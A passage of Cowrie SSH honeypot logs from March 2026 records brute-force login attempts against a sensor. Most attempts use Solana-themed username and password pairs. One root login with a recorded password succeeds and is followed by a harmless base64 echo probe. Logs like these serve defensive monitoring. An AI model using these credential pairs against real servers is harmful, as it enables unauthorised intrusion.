rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:55.121847Z","src_ip":"2.57.122.96","session":"88cf46772c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:55.529124Z","src_ip":"2.57.122.96","session":"88cf46772c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:56.636653Z","src_ip":"2.57.122.96","session":"88cf46772c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58182,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd68c242552","protocol":"ssh","message":"New connection: 2.57.122.96:58182 (159.203.135.109:22) [session: 7fd68c242552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:10.298367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:10.302775Z","src_ip":"2.57.122.96","session":"7fd68c242552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:10.401781Z","src_ip":"2.57.122.96","session":"7fd68c242552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:10.703303Z","src_ip":"2.57.122.96","session":"7fd68c242552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:11.805825Z","src_ip":"2.57.122.96","session":"7fd68c242552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:58:16.355885Z","src_ip":"111.228.24.62","session":"1423e7219979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":56546,"dst_ip":"10.17.0.5","dst_port":22,"session":"1684221d37ae","protocol":"ssh","message":"New connection: 2.57.122.96:56546 (10.17.0.5:22) [session: 1684221d37ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:00:47.684231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:00:47.752627Z","src_ip":"2.57.122.96","session":"1684221d37ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:00:47.856953Z","src_ip":"2.57.122.96","session":"1684221d37ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:00:48.237595Z","src_ip":"2.57.122.96","session":"1684221d37ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:00:49.344812Z","src_ip":"2.57.122.96","session":"1684221d37ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d09cf6531d","protocol":"ssh","message":"New connection: 2.57.122.96:39210 (159.203.135.109:22) [session: e3d09cf6531d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:01:04.399465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:01:04.404439Z","src_ip":"2.57.122.96","session":"e3d09cf6531d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:01:04.516906Z","src_ip":"2.57.122.96","session":"e3d09cf6531d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:01:04.832720Z","src_ip":"2.57.122.96","session":"e3d09cf6531d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:01:05.960729Z","src_ip":"2.57.122.96","session":"e3d09cf6531d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":40590,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b7ac164494","protocol":"ssh","message":"New connection: 85.198.97.85:40590 (159.203.135.109:22) [session: c2b7ac164494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:29.916957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:29.923759Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:36.636938Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zKagent@2025","message":"login attempt [root/zKagent@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:37.020092Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:37.316395Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:37.319494Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:37.450501Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:37.455578Z","src_ip":"85.198.97.85","session":"c2b7ac164494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"1089b5102be5","protocol":"ssh","message":"New connection: 2.57.122.96:58164 (10.17.0.5:22) [session: 1089b5102be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:48.370492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:48.384368Z","src_ip":"2.57.122.96","session":"1089b5102be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:48.506566Z","src_ip":"2.57.122.96","session":"1089b5102be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:48.920507Z","src_ip":"2.57.122.96","session":"1089b5102be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:03:50.024744Z","src_ip":"2.57.122.96","session":"1089b5102be5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55230,"dst_ip":"159.203.135.109","dst_port":22,"session":"675075d26e73","protocol":"ssh","message":"New connection: 2.57.122.96:55230 (159.203.135.109:22) [session: 675075d26e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:04:05.004745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:04:05.011722Z","src_ip":"2.57.122.96","session":"675075d26e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:04:05.116652Z","src_ip":"2.57.122.96","session":"675075d26e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:04:05.432881Z","src_ip":"2.57.122.96","session":"675075d26e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:04:06.585469Z","src_ip":"2.57.122.96","session":"675075d26e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36098,"dst_ip":"10.17.0.5","dst_port":22,"session":"428d7d396419","protocol":"ssh","message":"New connection: 2.57.122.96:36098 (10.17.0.5:22) [session: 428d7d396419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:06:44.632017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:06:44.636092Z","src_ip":"2.57.122.96","session":"428d7d396419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:06:44.740613Z","src_ip":"2.57.122.96","session":"428d7d396419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:06:45.055948Z","src_ip":"2.57.122.96","session":"428d7d396419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:06:46.162649Z","src_ip":"2.57.122.96","session":"428d7d396419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48610,"dst_ip":"159.203.135.109","dst_port":22,"session":"9978ebb8d954","protocol":"ssh","message":"New connection: 2.57.122.96:48610 (159.203.135.109:22) [session: 9978ebb8d954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:07:01.557991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:07:01.565067Z","src_ip":"2.57.122.96","session":"9978ebb8d954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"en